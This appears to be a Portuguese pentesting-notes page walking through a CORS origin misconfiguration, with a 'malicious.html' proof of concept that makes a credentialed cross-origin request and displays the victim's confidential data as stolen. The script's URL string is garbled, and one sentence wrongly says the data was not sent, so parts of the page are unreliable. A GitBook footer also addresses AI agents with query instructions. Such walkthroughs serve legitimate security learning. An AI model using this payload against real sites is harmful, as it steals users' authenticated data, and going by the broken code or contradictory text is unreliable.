> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/cors-origin-pentesting-web.md).

# Configuração Incorreta de Origem do CORS

### Compartilhamento de Recursos entre Origens (CORS):

Todas essas informações estão disponíveis no site:

<figure><img src="/files/6f1011629961fa1d3b1972d782ae6002e20ddad0" alt="" width="563"><figcaption></figcaption></figure>

Interceptamos isso com o Burp Suite e observamos que dois campos "**Credenciais de controle de acesso**" e "**origin**" estão mal configurados na resposta:

<figure><img src="/files/f360db63595f94e499ee238251fe70a74c7e4105" alt=""><figcaption></figcaption></figure>

Adicionamos um **novo campo origin** na requisição com o link de uma página da web, por exemplo "google.com", e observamos que ele é aceito:

<figure><img src="/files/2154f4f9545b235f51088dc7982cf17493e0e9c8" alt=""><figcaption></figcaption></figure>

Criamos um arquivo web **malicious.html** que explora a vulnerabilidade com os campos origin e credentials:

```html
<script>
   var req = new XMLHttpRequest();
   req.onload = reqListener;
   req.open('GET', 'http://localhost:5000/confidentiathe , true);
   req.withCredentials = true;
   req.send();
   function reqListener() {
		document.getElementById("stolenInfo").innerHTML = req.responseText;
   }
</script>
<center><h1>Você foi hackeado, esta é a informação que roubei de você</h1></center>
<p id="stolenInfo"></p>

```

Com **Python**, criamos um servidor web:

<figure><img src="/files/9ede968f95455f7e0d79ed5932c65b4db33dcba0" alt=""><figcaption></figcaption></figure>

Acessamos nosso site e as informações confidenciais não foram **enviadas para o nosso site**:

<figure><img src="/files/9f2e595e5465bcf7aa7b805be83ac6ee17196585" alt=""><figcaption></figcaption></figure>

Se o CORS estivesse configurado corretamente, teríamos recebido o erro abaixo:

<figure><img src="/files/000a5e12121de2b4d10c413ec703ab0d1d99e097" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/cors-origin-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
